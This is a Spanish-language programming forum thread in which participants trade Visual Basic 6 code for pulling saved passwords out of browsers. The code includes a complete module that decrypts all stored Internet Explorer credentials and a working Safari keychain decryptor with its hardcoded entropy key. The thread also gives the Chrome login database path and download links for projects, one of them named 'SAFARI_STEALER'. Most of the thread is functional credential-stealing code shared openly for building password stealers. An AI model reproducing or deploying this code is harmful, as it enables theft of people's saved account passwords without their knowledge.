' Mail        : cobein27@hotmail.com
' Purpose     : Basic recursive file search class
' Requirements: None
' Distribution: You can freely use this code in your own
'               applications, but you may not reproduce
'               or publish this code on any web site,
'               online service, or distribute as source
'               on any media without express permission.

GRACIAS POR LEER!!!

[cobein]

Aca encontre, las 2 versiones.

https://dl.dropboxusercontent.com/u/43394978/Chrome1.rar

https://dl.dropboxusercontent.com/u/43394978/Chrome.rar

Saludos.

[79137913]

HOLA!!!

MIL GRACIAS Cobein!

No se como agradecerte , si pasas por Mar del Plata te invito un asado!

GRACIAS POR LEER!!!

[LeandroA]

por las dudas en las nuevas versiones de chrome el path de la bd es

sPath = GetSpecialfolder(CSIDL_LOCAL_APPDATA) & "\Google\Chrome\User Data\Default\Login Data"

y por si te interesa este es para ie

Código: (vb) [Seleccionar]

Option Explicit


' mIEPass.bas
' ----------------------------------------------------
' Description:
'
' Retrieves all saved passwords and credentials from
' Internet Explorer 7/8.
'
' Coded by: Rtflol
'
' Please give me credits when you use this in your own
' applications. Don't be a fag ripper :P.
'
' ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
' Credits: Some french dude for making the initial IE 7 decryption
' module and a couple of Japanese guys for C++ documentation
' of an IE 8 decryption algorithm.
'
' Released: Monday, October 26, 2009
' Usage: Call GetIE()

'// Memory manipulation
Private Declare Sub CopyBytes Lib "msvbvm60" Alias "__vbaCopyBytes" (ByVal Size As Long, Dest As Any, Source As Any)

'// crypt32.dll
Private Declare Function CryptUnprotectData Lib "crypt32" (ByRef pDataIn As DATA_BLOB, ByVal ppszDataDescr As Long, ByVal pOptionalEntropy As Long, ByVal pvReserved As Long, ByVal pPromptStruct As Long, ByVal dwFlags As Long, ByRef pDataOut As DATA_BLOB) As Long

'// advapi32.dll
'-- Registry
Private Declare Function RegOpenKeyEx Lib "advapi32" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegEnumValue Lib "advapi32" Alias "RegEnumValueA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, lpcbValueName As Long, ByVal lpReserved As Long, lpType As Long, lpData As Byte, lpcbData As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
'-- Microsoft Cryptographic Provider
Private Declare Function CryptAcquireContext Lib "advapi32" Alias "CryptAcquireContextA" (ByRef phProv As Long, ByVal pszContainer As Long, ByVal pszProvider As String, ByVal dwProvType As Long, ByVal dwFlags As Long) As Long
Private Declare Function CryptCreateHash Lib "advapi32" (ByVal hProv As Long, ByVal Algid As Long, ByVal hKey As Long, ByVal dwFlags As Long, ByRef phHash As Long) As Long
Private Declare Function CryptHashData Lib "advapi32" (ByVal hHash As Long, ByVal pbData As Long, ByVal dwDataLen As Long, ByVal dwFlags As Long) As Long
Private Declare Function CryptGetHashParam Lib "advapi32" (ByVal hHash As Long, ByVal dwParam As Long, ByVal pByte As Long, ByRef pdwDataLen As Long, ByVal dwFlags As Long) As Long
Private Declare Function CryptSignHash Lib "advapi32" Alias "CryptSignHashA" (ByVal hHash As Long, ByVal dwKeySpec As Long, ByVal sDescription As Long, ByVal dwFlags As Long, ByVal pbSignature As Long, ByRef pdwSigLen As Long) As Long
Private Declare Function CryptDestroyHash Lib "advapi32" (ByVal hHash As Long) As Long
Private Declare Function CryptReleaseContext Lib "advapi32" (ByVal hProv As Long, ByVal dwFlags As Long) As Long
Private Declare Function CredEnumerate Lib "advapi32" Alias "CredEnumerateW" (ByVal lpszFilter As Long, ByVal lFlags As Long, ByRef pCount As Long, ByRef lppCredentials As Long) As Long

'// wininet.dll
'-- History
Private Declare Function FindFirstUrlCacheEntry Lib "wininet" Alias "FindFirstUrlCacheEntryA" (ByVal lpszUrlSearchPattern As String, lpFirstCacheEntryInfo As Any, lpdwFirstCacheEntryInfobufDataerSize As Long) As Long
Private Declare Function FindNextUrlCacheEntry Lib "wininet" Alias "FindNextUrlCacheEntryA" (ByVal hEnumHandle As Long, lpNextCacheEntryInfo As Any, lpdwNextCacheEntryInfobufDataerSize As Long) As Long

'// misc
Private Declare Function lstrlenA Lib "kernel32" (ByVal ptr As Any) As Long
Private Declare Function lstrcpyA Lib "kernel32" (ByVal RetVal As String, ByVal ptr As Long) As Long
Private Declare Function SysAllocString Lib "oleaut32" (ByVal pOlechar As Long) As String

Private Type FILETIME
    dwLowDateTime As Long
    dwHighDateTime As Long
End Type
Private Type StringIndexHeader
    dwWICK As Long
    dwStructSize As Long
    dwEntriesCount As Long
    dwUnkId As Long
    dwType As Long
    dwUnk As Long
End Type
Private Type StringIndexEntry
    dwDataOffset As Long
    ftInsertDateTime As FILETIME
    dwDataSize As Long
End Type
Private Type DATA_BLOB
    cbData As Long
    pbData As Long
End Type
Private Type CREDENTIAL
    dwFlags As Long
    dwType As Long
    lpstrTargetName As Long
    lpstrComment As Long
    ftLastWritten As FILETIME
    dwCredentialBlobSize As Long
    lpbCredentialBlob As Long
    dwPersist As Long
    dwAttributeCount As Long
    lpAttributes As Long
    lpstrTargetAlias As Long
    lpUserName As Long
End Type
Private Type INTERNET_CACHE_ENTRY_INFO
   dwStructSize As Long
   lpszSourceUrlName As Long
   lpszLocalFileName As Long
   CacheEntryType  As Long
   dwUseCount As Long
   dwHitRate As Long
   dwSizeLow As Long
   dwSizeHigh As Long
   LastModifiedTime As FILETIME
   ExpireTime As FILETIME
   LastAccessTime As FILETIME
   LastSyncTime As FILETIME
   lpHeaderInfo As Long
   dwHeaderInfoSize As Long
   lpszFileExtension As Long
   dwExemptDelta  As Long
End Type

'// history private constants.
Private Const NORMAL_CACHE_ENTRY            As Long = &H1
Private Const URLHISTORY_CACHE_ENTRY        As Long = &H200000

'// registry private constants
Private Const HKEY_CURRENT_USER                As Long = &H80000001
Private Const IE_KEY                        As String = "Software\Microsoft\Internet Explorer\IntelliForms\Storage2"
Private Const READ_CONTROL                  As Long = &H20000
Private Const SYNCHRONIZE                   As Long = &H100000
Private Const KEY_ENUMERATE_SUB_KEYS        As Long = &H8
Private Const KEY_QUERY_VALUE               As Long = &H1
Private Const KEY_NOTIFY                    As Long = &H10
Private Const KEY_READ                      As Long = ((READ_CONTROL Or KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY) And (Not SYNCHRONIZE))
Private Const ERROR_SUCCESS                 As Long = 0&

'// cryptography private constants
Private Const PROV_RSA_FULL                 As Long = 1&
Private Const ALG_CLASS_HASH                As Long = (4 * 2 ^ 13)
Private Const ALG_TYPE_ANY                  As Long = 0
Private Const ALG_SID_SHA                   As Long = 4
Private Const CALG_SHA                      As Long = (ALG_CLASS_HASH Or ALG_TYPE_ANY Or ALG_SID_SHA)
Private Const HP_HASHVAL                    As Long = &H2

Private hKey As Long
Private m_Data As String
Private m_Storage() As String
Private i As Integer '// counter variable. global scope 'cause I don't feel like redeclaring it
Public Function GetIE() As String
    'On Local Error Resume Next

    Dim x As Integer
    Dim strOut() As String, strSplit() As String, strHash() As String
   
    m_Data = vbNullString: Erase m_Storage: hKey = 0 ' clear out previous data
   
    Call GetStorage2 ' Intelliforms passwords
    Call GetCredentials ' Authenticated passwords (like .htaccess related creds).

    If Len(m_Data) = 0 Then Exit Function
    strOut = Split(m_Data, vbFormFeed)
 
    ReDim Preserve m_Storage(0 To UBound(strOut) - 1)

    For i = 0 To UBound(strOut) - 1
       
        strSplit = Split(strOut(i), vbVerticalTab)
       
        For x = 0 To UBound(m_Storage) '.. Don't re-add similar data to queue.
            If m_Storage(x) = strSplit(3) And m_Storage(x) <> "n/a" Then GoTo skipMsg
        Next x

        GetIE = GetIE & "URL: " & strSplit(0) & vbCrLf & "Username: " & strSplit(1) & vbCrLf & "Password: " & strSplit(2) & vbCrLf & "Hash: " & strSplit(3) & vbCrLf & vbCrLf
skipMsg:
        m_Storage(i) = strSplit(3)
    Next i
End Function
Private Sub GetCredentials()
    Dim tmp As String, sRes As String, sURL As String, tAuth() As String
    Dim ptrData As Long, dwNumCreds As Long, lpCredentials As Long
    Dim bufData(36) As Integer, x As Integer
    Dim m_Cred As CREDENTIAL, dataIn As DATA_BLOB, dataOut As DATA_BLOB, dataEntry As DATA_BLOB

    Call CredEnumerate(StrPtr("Microsoft_WinInet_*"), 0, dwNumCreds, lpCredentials)
    If dwNumCreds Then '.. We have credentials listed.
        For i = 0 To dwNumCreds - 1
            CopyBytes 4&, ByVal VarPtr(ptrData), ByVal lpCredentials + (i) * 4: CopyBytes LenB(m_Cred), ByVal VarPtr(m_Cred), ByVal ptrData
            sRes = CopyString(m_Cred.lpstrTargetName): dataEntry.cbData = 74
            For x = 0 To 36: bufData(x) = CInt(Asc(Mid("abe2869f-9b47-4cd9-a358-c22904dba7f7" & vbNullChar, x + 1, 1)) * 4): Next
           
            dataEntry.pbData = VarPtr(bufData(0)): dataIn.pbData = m_Cred.lpbCredentialBlob: dataIn.cbData = m_Cred.dwCredentialBlobSize: dataOut.cbData = 0: dataOut.pbData = 0
            Call CryptUnprotectData(dataIn, ByVal 0&, ByVal VarPtr(dataEntry), ByVal 0&, ByVal 0&, 0, dataOut)
           
            tmp = Space(dataOut.cbData \ 2 - 1)
            CopyBytes dataOut.cbData, ByVal StrPtr(tmp), ByVal dataOut.pbData
            tAuth = Split(tmp, ":"): x = InStr(Mid$(sRes, 19), "/")
           
            If x > 0 Then
                sURL = Mid$(sRes, 19, x - 1)
            Else
                sURL = Mid$(sRes, 19)
            End If
           
            m_Data = m_Data & sURL & vbVerticalTab & tAuth(0) & vbVerticalTab & tAuth(1) & vbVerticalTab & "n/a" & vbFormFeed
        Next
    End If
End Sub
Private Sub GetStorage2()
    Dim tmp As String, sRet As String, sHash As String
    Dim m_Cache As Long, dwSize As Long, cbData As Long
    Dim x As Integer, z As Integer
    Dim bufData() As Byte
   
    Dim m_URL As INTERNET_CACHE_ENTRY_INFO
    If RegOpenKeyEx(HKEY_CURRENT_USER, IE_KEY, 0&, KEY_READ, hKey) <> ERROR_SUCCESS Then Exit Sub
       
    Do
        sRet = Space(4096)
        If RegEnumValue(hKey, z, sRet, 4096, 0, ByVal 0&, ByVal 0&, ByVal 0&) <> 0 Then Exit Do
        sRet = StripTerminator(sRet) '... Remove vbNullChar's
       
        m_Cache = FindFirstUrlCacheEntry(vbNullString, ByVal 0&, dwSize)
        If dwSize Then
            ReDim bufData(dwSize - 1): CopyBytes 4&, bufData(0), dwSize
            m_Cache = FindFirstUrlCacheEntry(vbNullString, bufData(0), dwSize)
        Else
            Exit Sub '.. Recently cleared his history?
        End If
       
            Do
                CopyBytes LenB(m_URL), m_URL, bufData(0)
                If (m_URL.CacheEntryType And (NORMAL_CACHE_ENTRY Or URLHISTORY_CACHE_ENTRY)) = (NORMAL_CACHE_ENTRY Or URLHISTORY_CACHE_ENTRY) Then
                    tmp = Trim(GetStrFromPtrA(m_URL.lpszSourceUrlName))
                                       
                    x = InStr(tmp, "file://") ' Don't scan local files
                    If x Then GoTo Nxt
                    x = InStr(tmp, "@") ' Don't need "Visited" shit
                    If x Then tmp = Mid(tmp, x + 1)
                    x = InStr(tmp, "?") ' Algorithm doesn't use data past ?
                    If x Then tmp = Left(tmp, x - 1)
                    tmp = LCase(tmp) '.. Seems lower-case is the way to be for IE ;). This is 100% necessary.
                   
                    sHash = GetSHA1Hash(StrPtr(tmp), (Len(tmp) + 1) * 2)
                    If sHash = sRet Then
                        RegQueryValueEx hKey, sHash, 0&, 3, ByVal 0&, cbData
                        If cbData Then Call DecryptData(tmp, sHash, cbData) '.. We have data associated with hash, go.
                     Else
                        tmp = tmp & "/" '.. Some urls are hashed with / appended at end. We just gotta add a / to every url we have and try or we fucked!
                        sHash = GetSHA1Hash(StrPtr(tmp), (Len(tmp) + 1) * 2)
                        If sHash = sRet Then
                            RegQueryValueEx hKey, sHash, 0&, 3, ByVal 0&, cbData
                            If cbData Then Call DecryptData(tmp, sHash, cbData) '.. We have data associated with hash, go.
                        End If
                    End If
                End If
               
Nxt:
                dwSize = 0: Call FindNextUrlCacheEntry(m_Cache, ByVal 0&, dwSize)
                If dwSize Then
                    ReDim bufData(dwSize - 1)
                    CopyBytes 4&, bufData(0), dwSize
                End If
               
            Loop While FindNextUrlCacheEntry(m_Cache, bufData(0), dwSize)
               
        z = z + 1
    Loop
End Sub
Private Sub DecryptData(sURL As String, sHash As String, ByVal cbData As Long)
    Dim sUsername As String, sPassword As String
    Dim ptrData As Long, ptrEntry As Long

    Dim hIndex As StringIndexHeader, eIndex As StringIndexEntry
    Dim dataIn As DATA_BLOB, dataOut As DATA_BLOB, dataEntry As DATA_BLOB

    Dim bufData() As Byte

    ReDim bufData(cbData - 1)
    Call RegQueryValueEx(hKey, sHash, 0&, 3, bufData(0), cbData)
    dataIn.cbData = cbData: dataIn.pbData = VarPtr(bufData(0))
    dataEntry.cbData = (Len(sURL) + 1) * 2: dataEntry.pbData = StrPtr(sURL)
    Call CryptUnprotectData(dataIn, 0&, ByVal VarPtr(dataEntry), 0&, 0&, 0&, dataOut)
   
    ReDim bufData(dataOut.cbData - 1)
    CopyBytes dataOut.cbData, bufData(0), ByVal dataOut.pbData
   
    CopyBytes Len(hIndex), hIndex, bufData(bufData(0))
   
    If hIndex.dwType = 1 Then
        If hIndex.dwEntriesCount >= 2 Then ' We need both username & password
            ptrEntry = VarPtr(bufData(bufData(0))) + hIndex.dwStructSize
           
            ptrData = ptrEntry + hIndex.dwEntriesCount * Len(eIndex)
            If ptrData = 0 Or ptrEntry = 0 Then Exit Sub
           
            For i = 1 To hIndex.dwEntriesCount / 2
                If i <> 1 Then ptrEntry = ptrEntry + Len(eIndex)
               
                CopyBytes Len(eIndex), eIndex, ByVal ptrEntry
                sUsername = Space(eIndex.dwDataSize)
                If lstrlenA(ptrData + eIndex.dwDataOffset) <> eIndex.dwDataSize Then
                    CopyBytes eIndex.dwDataSize * 2, ByVal StrPtr(sUsername), ByVal ptrData + eIndex.dwDataOffset
                Else
                    CopyBytes eIndex.dwDataSize, ByVal sUsername, ByVal ptrData + eIndex.dwDataOffset
                End If
                ptrEntry = ptrEntry + Len(eIndex)
                CopyBytes Len(eIndex), eIndex, ByVal ptrEntry
                sPassword = Space(eIndex.dwDataSize)
                If lstrlenA(ptrData + eIndex.dwDataOffset) <> eIndex.dwDataSize Then
                    Call CopyBytes(eIndex.dwDataSize * 2, ByVal StrPtr(sPassword), ByVal ptrData + eIndex.dwDataOffset)
                Else
                    Call CopyBytes(eIndex.dwDataSize, ByVal sPassword, ByVal ptrData + eIndex.dwDataOffset)
                End If
           
                m_Data = m_Data & sURL & vbVerticalTab & sUsername & vbVerticalTab & sPassword & vbVerticalTab & sHash & "/" & i & vbFormFeed
            Next i
           
        End If
    End If
End Sub
Private Function GetSHA1Hash(ByVal pbData As Long, ByVal dwDataLen As Long) As String
    Dim hProv As Long, hHash As Long
    Dim bufData(20) As Byte
   
    Call CryptAcquireContext(hProv, 0&, vbNullString, PROV_RSA_FULL, 0&)
    Call CryptCreateHash(hProv, CALG_SHA, 0&, 0&, hHash)
    Call CryptHashData(hHash, pbData, dwDataLen, 0&)
    Call CryptGetHashParam(hHash, HP_HASHVAL, ByVal VarPtr(bufData(0)), 20, 0)
    Call CryptDestroyHash(hHash)
    Call CryptReleaseContext(hProv, 0&)
       
    For i = 0 To 19: GetSHA1Hash = GetSHA1Hash & Right("00" & Hex$(bufData(i)), 2): Next
   
    GetSHA1Hash = GetSHA1Hash & Right("00" & Hex$(CheckSum(GetSHA1Hash)), 2)
End Function
Private Function CheckSum(s As String) As Byte
    Dim sum As Long
   
    For i = 1 To Len(s) Step 2: sum = sum + Val("&H" & Mid(s, i, 2)): Next
    CheckSum = CByte(sum Mod 256)
End Function
Private Function StripTerminator(s As String) As String
    Dim z As Integer
   
    z = InStr(1, s, vbNullChar)
    If z > 0 Then
        StripTerminator = Left$(s, z - 1)
    Else
        StripTerminator = s
    End If
End Function
Private Function CopyString(ByVal ptr As Long) As String
    If ptr Then
        CopyString = StrConv(SysAllocString(ptr), vbFromUnicode)
    Else
        CopyString = vbNullString
    End If
End Function
Private Function GetStrFromPtrA(ByVal lpszA As Long) As String
   GetStrFromPtrA = String$(lstrlenA(ByVal lpszA), 0)
   Call lstrcpyA(ByVal GetStrFromPtrA, ByVal lpszA)
End Function


[79137913]

HOLA!!!

Chicos, ahora estoy haciendo un recovery para safari...

Tengo problemas con la cryptoapi, siempre que la llamo me da false...

Estoy haciendo todo como dice:
http://securityxploded.com/safari-password-secrets.php

Pero no se que es lo que pasa, alguno podria revisar mi codigo (es borrador, sepan disculpar el desorden)

http://www.mediafire.com/download/mv1l8mds4sdi8pi/SAFARI_STEALER.rar

Desde ya muchas gracias

GRACIAS POR LEER!!!

[LeandroA]

Hola trate de pasar en limpio lo principal o lo que no funciona, pero no lo desencripta, mi duda es si esa clave sigue siendo la misma con a la version del safari con el que generaste el xml

Código: (vb) [Seleccionar]

Option Explicit

Private Declare Function CryptUnprotectData Lib "crypt32.dll" (ByRef pDataIn As DATA_BLOB, ByVal ppszDataDescr As Long, ByRef pOptionalEntropy As DATA_BLOB, ByVal pvReserved As Long, ByVal pPromptStruct As Long, ByVal dwFlags As Long, ByRef pDataOut As DATA_BLOB) As Long
Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
Private Declare Function VarPtrArray Lib "msvbvm60.dll" Alias "VarPtr" (ByRef Ptr() As Any) As Long

Private Type DATA_BLOB
    cbData              As Long
    pbData              As Long
End Type

Private Sub Form_Load()
    Dim tBlobIn     As DATA_BLOB
    Dim tEntropy    As DATA_BLOB
    Dim tBlobOut    As DATA_BLOB
    Dim i As Long
    Dim bArrayKey() As Byte
    Dim bArrayData() As Byte

    Const skey = "1DACA8F8D3B8483E487D3E0A6207DD26E6678103E7B213A5B079EE4F0F4115ED7B148CE54B460DC18EFED6E72775068B4900DC0F30A09EFD0985F1C8AA75C108057901E297D8AF8038600B710E6853772F0F61F61D8E8F5CB23D2174404BB5066EAB7ABD8BA97E328F6E0624D929A4A5BE2623FDEEF14C0F745E58FB9174EF91636F6D2E6170706C652E536166617269"
    Const sBase64 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA9+j0xt/9LkOdE1/xsvp9JwAAAAACAAAAAAADZgAAqAAAABAAAACIDO9x8WZzzKVyXF0pLsD2AAAAAASAAACgAAAAEAAAADKF081Akdzvx2bH3rQslViIAAAA7uR2VSW3cmYzHYbGI0k8tCZYwuuM/2s8+XMwVRGY7N4bwNzYTQH3XPtA4oPHP5by2QR25477j+cBoZ2N9G5F43RkPuQIjokssPkNls1l6rVVSg1X4yaCFghzN0/R2iLPG14LOluJweNWDU+duGj5QYs5dqybyJwH3/tDaGcU7QGDVfHW0qjCGRQAAADefkJlNR07PlYSnDEpe0X4w1jK6A=="
       
    '----- tEntropy
    ReDim bArrayKey(Len(skey) / 2 - 1)
   
    For i = 0 To Len(skey) - 1 Step 2
        bArrayKey(i / 2) = CByte("&h" & Mid$(skey, i + 1, 2))
    Next
   
    tEntropy.cbData = UBound(bArrayKey) + 1
    tEntropy.pbData = VarPtr(bArrayKey(0))
    '----

    '---- tBlobIn
    bArrayData = Base64Decode(sBase64)
    tBlobIn.cbData = UBound(bArrayData) + 1
    tBlobIn.pbData = VarPtr(bArrayData(0))
    '----
   
    If CryptUnprotectData(tBlobIn, 0&, tEntropy, 0&, 0&, 0&, tBlobOut) Then
        MsgBox "Ok"
    Else
        Debug.Print Err.LastDllError
    End If
   
End Sub


Private Function Base64Decode(ByVal vCode As String) As Byte()
    Dim oXML, oNode
    Dim vResults As Variant
   
    Set oXML = CreateObject("Msxml2.DOMDocument.3.0")
    Set oNode = oXML.CreateElement("base64")
    oNode.dataType = "bin.base64"
    oNode.Text = vCode
    vResults = oNode.nodeTypedValue
    MoveArrayToVariant vResults, Base64Decode, False
    Set oNode = Nothing
    Set oXML = Nothing
End Function

'Autor: LaVolpe
Private Sub MoveArrayToVariant(inVariant As Variant, inArray() As Byte, Mount As Boolean)
    Const VT_BYREF              As Long = &H4000&

    ' Variants are used a bit in this project to allow functions to receive
    ' multiple variable types (objects, strings, handles, arrays, etc) in a single parameter.
    ' When arrays are passed, don't want to unnecessarily copy the array
    ' if a copy isn't needed. But setting one variant to another that contains
    ' arrays, copies are made. With large arrays, performance suffers.
    ' So... this routine moves an array in/out of a variant and vice versa
    ' without making a copy of the array. We're just swapping pointers
   
    ' When mounting array to variant, the inVariant parameter can contain anything or nothing
    ' When dismounting array from variant, the inVariant parameter MUST contain a return byte array
   
    Dim bDummy() As Byte, srcAddr As Long, dstAddr As Long
   
    If Mount Then                                               ' moving array to variant
        inVariant = bDummy()                                    ' ensure target contains null byte array
        CopyMemory dstAddr, ByVal VarPtr(inVariant), 2&         ' get that null array's pointer
        If (dstAddr And VT_BYREF) Then
            CopyMemory dstAddr, ByVal VarPtr(inVariant) + 8&, 4&
        Else
            dstAddr = VarPtr(inVariant) + 8&
        End If
        srcAddr = VarPtrArray(inArray)                          ' get source array's pointer
       
    Else                                                        ' moving variant's array to array
   
        Erase inArray()                                         ' ensure source is nulled out
        CopyMemory srcAddr, ByVal VarPtr(inVariant), 2&         ' get source array's pointer
        If (srcAddr And VT_BYREF) Then
            CopyMemory srcAddr, ByVal VarPtr(inVariant) + 8&, 4&
        Else
            srcAddr = VarPtr(inVariant) + 8&
        End If
        dstAddr = VarPtrArray(inArray)                          ' get target array's pointer
    End If
   
    CopyMemory ByVal dstAddr, ByVal srcAddr, 4&                 ' swap pointers
    CopyMemory ByVal srcAddr, 0&, 4&                            ' null arrays have a null SafeArray pointer
   
End Sub

parece estar todo bien, pero CryptUnprotectData no funciona.

[79137913]

HOLA!!!

Si, debe ser eso... el salt debe cambiar de version en version...

Voy a mandarle un correo al admin de esa web a ver si me dice como sacar el salt.

Gracias Lea, los mantengo informados con este hilo!

GRACIAS POR LEER!!!

[LeandroA]

Hola me descargue el safari (5.1.7) y ahora si me funciona, yo solo probe con el xml que estaba dentro de la carpeta de descarga que pusiste, quizas vos por seguridad lo modificaste ?¿ , asi que me meti en un par de cuentas puse recordar contraseñas llame al plutil.exe y funciono bien.

Código: (vb) [Seleccionar]

Option Explicit
Private Declare Function CryptUnprotectData Lib "crypt32.dll" (ByRef pDataIn As DATA_BLOB, ByVal ppszDataDescr As Long, ByRef pOptionalEntropy As DATA_BLOB, ByVal pvReserved As Long, ByVal pPromptStruct As Long, ByVal dwFlags As Long, ByRef pDataOut As DATA_BLOB) As Long
Private Declare Function LocalFree Lib "kernel32.dll" (ByVal hMem As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
Private Declare Function VarPtrArray Lib "msvbvm60.dll" Alias "VarPtr" (ByRef Ptr() As Any) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Private Type DATA_BLOB
    cbData              As Long
    pbData              As Long
End Type


Public Function Enumerate() As String
    Dim Keychain_path   As String
    Dim Plutils_path    As String
    Dim TempDir         As String
    Dim tBlobIn         As DATA_BLOB
    Dim tEntropy        As DATA_BLOB
    Dim tBlobOut        As DATA_BLOB
    Dim i               As Long
    Dim bArrayKey()     As Byte
    Dim bArrayData()    As Byte
    Dim XMLRead         As Object
    Dim NodeList        As Object
    Dim Elem            As Object
    Dim sPass           As String
    Dim abData()        As Byte
   
    On Error GoTo fail

    Const skey = "1DACA8F8D3B8483E487D3E0A6207DD26E6678103E7B213A5B079EE4F0F4115ED7B148CE54B460DC18EFED6E72775068B4900DC0F30A09EFD0985F1C8AA75C108057901E297D8AF8038600B710E6853772F0F61F61D8E8F5CB23D2174404BB5066EAB7ABD8BA97E328F6E0624D929A4A5BE2623FDEEF14C0F745E58FB9174EF91636F6D2E6170706C652E536166617269"

    Keychain_path = Environ("APPDATA") & "\Apple Computer\Preferences\keychain.plist"
    Plutils_path = Environ("PROGRAMFILES") & "\Safari\Apple Application Support\plutil.exe"
    TempDir = Environ("TEMP")
   
    ShellAndWait Chr(34) & Plutils_path & Chr(34) & " -convert xml1 -s -o " & TempDir & "\k.xml " & Chr(34) & Keychain_path & Chr(34), vbHide

    ReDim bArrayKey(Len(skey) / 2 - 1)
   
    For i = 0 To Len(skey) - 1 Step 2
        bArrayKey(i / 2) = CByte("&h" & Mid$(skey, i + 1, 2))
    Next
   
    tEntropy.cbData = UBound(bArrayKey) + 1
    tEntropy.pbData = VarPtr(bArrayKey(0))
   
    Set XMLRead = CreateObject("Microsoft.XMLDOM")

    XMLRead.async = False
    XMLRead.Load (TempDir & "\k.xml")

    Set NodeList = XMLRead.getElementsByTagName("dict/array/dict")
   
    For Each Elem In NodeList
       
        bArrayData = Base64Decode(Elem.childNodes(7).Text)
        tBlobIn.cbData = UBound(bArrayData) + 1
        tBlobIn.pbData = VarPtr(bArrayData(0))
       
        If CryptUnprotectData(tBlobIn, 0&, tEntropy, 0&, 0&, 0&, tBlobOut) Then
            ReDim abData(0 To tBlobOut.cbData - 1)
            CopyMemory abData(0), ByVal tBlobOut.pbData, tBlobOut.cbData
            sPass = Mid(Replace(StrConv(abData, vbUnicode), Chr(0), vbNullString), 2) 'no me gusta
            LocalFree tBlobOut.pbData
           
            Enumerate = Enumerate & "Acount: " & Elem.childNodes(1).Text & vbCrLf
            Enumerate = Enumerate & "Password: " & sPass & vbCrLf
            Enumerate = Enumerate & "Server: " & Elem.childNodes(19).Text & vbCrLf
            Enumerate = Enumerate & String(10, "-") & vbCrLf
           
        End If

    Next
   
    Set NodeList = Nothing
    Set XMLRead = Nothing
   
    Exit Function
fail:
    Debug.Print "cuec!"
End Function

Private Sub ShellAndWait(ByVal program_name As String, ByVal window_style As VbAppWinStyle)
    Dim process_id As Long
    Dim process_handle As Long
    Const SYNCHRONIZE As Long = &H100000
    Const INFINITE As Long = &HFFFFFFFF
   
    ' Start the program.
    On Error GoTo ShellError
    process_id = Shell(program_name, window_style)
    On Error GoTo 0
   
    DoEvents

    ' Wait for the program to finish.
    ' Get the process handle.
    process_handle = OpenProcess(SYNCHRONIZE, 0, process_id)
    If process_handle <> 0 Then
        WaitForSingleObject process_handle, INFINITE
        CloseHandle process_handle
    End If
    Exit Sub
   
ShellError:
End Sub


Private Function Base64Decode(ByVal vCode As String) As Byte()
    Dim oXML, oNode
    Dim vResults As Variant
   
    Set oXML = CreateObject("Msxml2.DOMDocument.3.0")
    Set oNode = oXML.CreateElement("base64")
    oNode.dataType = "bin.base64"
    oNode.Text = vCode
    vResults = oNode.nodeTypedValue
    MoveArrayToVariant vResults, Base64Decode, False
    Set oNode = Nothing
    Set oXML = Nothing
End Function


'Autor: LaVolpe
Private Sub MoveArrayToVariant(inVariant As Variant, inArray() As Byte, Mount As Boolean)
    Const VT_BYREF              As Long = &H4000&

    ' Variants are used a bit in this project to allow functions to receive
    ' multiple variable types (objects, strings, handles, arrays, etc) in a single parameter.
    ' When arrays are passed, don't want to unnecessarily copy the array
    ' if a copy isn't needed. But setting one variant to another that contains
    ' arrays, copies are made. With large arrays, performance suffers.
    ' So... this routine moves an array in/out of a variant and vice versa
    ' without making a copy of the array. We're just swapping pointers
   
    ' When mounting array to variant, the inVariant parameter can contain anything or nothing
    ' When dismounting array from variant, the inVariant parameter MUST contain a return byte array
   
    Dim bDummy() As Byte, srcAddr As Long, dstAddr As Long
   
    If Mount Then                                               ' moving array to variant
        inVariant = bDummy()                                    ' ensure target contains null byte array
        CopyMemory dstAddr, ByVal VarPtr(inVariant), 2&         ' get that null array's pointer
        If (dstAddr And VT_BYREF) Then
            CopyMemory dstAddr, ByVal VarPtr(inVariant) + 8&, 4&
        Else
            dstAddr = VarPtr(inVariant) + 8&
        End If
        srcAddr = VarPtrArray(inArray)                          ' get source array's pointer
       
    Else                                                        ' moving variant's array to array
   
        Erase inArray()                                         ' ensure source is nulled out
        CopyMemory srcAddr, ByVal VarPtr(inVariant), 2&         ' get source array's pointer
        If (srcAddr And VT_BYREF) Then
            CopyMemory srcAddr, ByVal VarPtr(inVariant) + 8&, 4&
        Else
            srcAddr = VarPtr(inVariant) + 8&
        End If
        dstAddr = VarPtrArray(inArray)                          ' get target array's pointer
    End If
   
    CopyMemory ByVal dstAddr, ByVal srcAddr, 4&                 ' swap pointers
    CopyMemory ByVal srcAddr, 0&, 4&                            ' null arrays have a null SafeArray pointer
   
End Sub


[79137913]

HOLA!!!

Gracias Lea!

(Cuando termine el code se los paso!)

GRACIAS POR LEER!!!